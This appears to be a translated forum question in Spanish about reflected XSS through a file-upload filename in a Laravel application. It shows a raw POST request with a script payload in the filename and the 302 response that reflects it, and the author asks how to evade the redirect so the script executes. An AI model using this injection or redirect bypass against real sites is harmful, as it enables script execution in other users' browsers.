En algunos pasos básicos:
- Solicitud POST que contiene una foto con varias partes / datos de formulario.
- Se encontró que HTTP / 1.1 302 responde con un redireccionamiento al formulario
- Redirigir al formulario inicial.
En el caso 1, podemos controlar el nombre de archivo, lo que nos permite utilizar cualquier tipo de carga útil que queramos.
En el caso 2, podemos ver en respuesta la carga útil de XSS, pero no hay ejecución (deje que comience la diversión) debido al encabezado de ubicación.
En el caso 3, vemos el nombre del archivo que es la respuesta codificada de laravael ... = > no XSS.
Explicado:
Paso 1:
POST /upload/file HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://example.com/upload
Content-Type: multipart/form-data; boundary=---------------------------172863706614177227892012498540
Content-Length: 8331
Cookie: laravel_session=not_your_problem
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------172863706614177227892012498540
Content-Disposition: form-data; name="doc_1"; filename="<!DOCTYPE html><script>alert('XSS'); .png"
Content-Type: image/png
Paso 2:
HTTP/1.1 302 Found
Server: nginx/1.12.2
Content-Type: text/html; charset=UTF-8
Connection: close
Cache-Control: no-cache
Location: https://example.com/upload
Date: Tue, 08 May 2018 12:49:50 GMT
Set-Cookie: laravel_session=laravel_session=not_your_problem; path=/
Strict-Transport-Security: max-age=31536000
Content-Length: 535
adding: <!DOCTYPE html><script>alert('XSS'); .png (deflated 14%)
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="1;url=https://example.com/upload" />
Por lo que sé del marco de Laravel y otros sitios web, las aplicaciones, etc., agregan un redireccionamiento de base de contenido (incluso si hay un encabezado como Ubicación) para una redundancia adicional como <meta http-equiv="refresh" content="1;url=something"
.
¿En qué circunstancias y cómo puedo evitar el encabezado de ubicación para ejecutar mi contenido y, por lo tanto, mi XSS?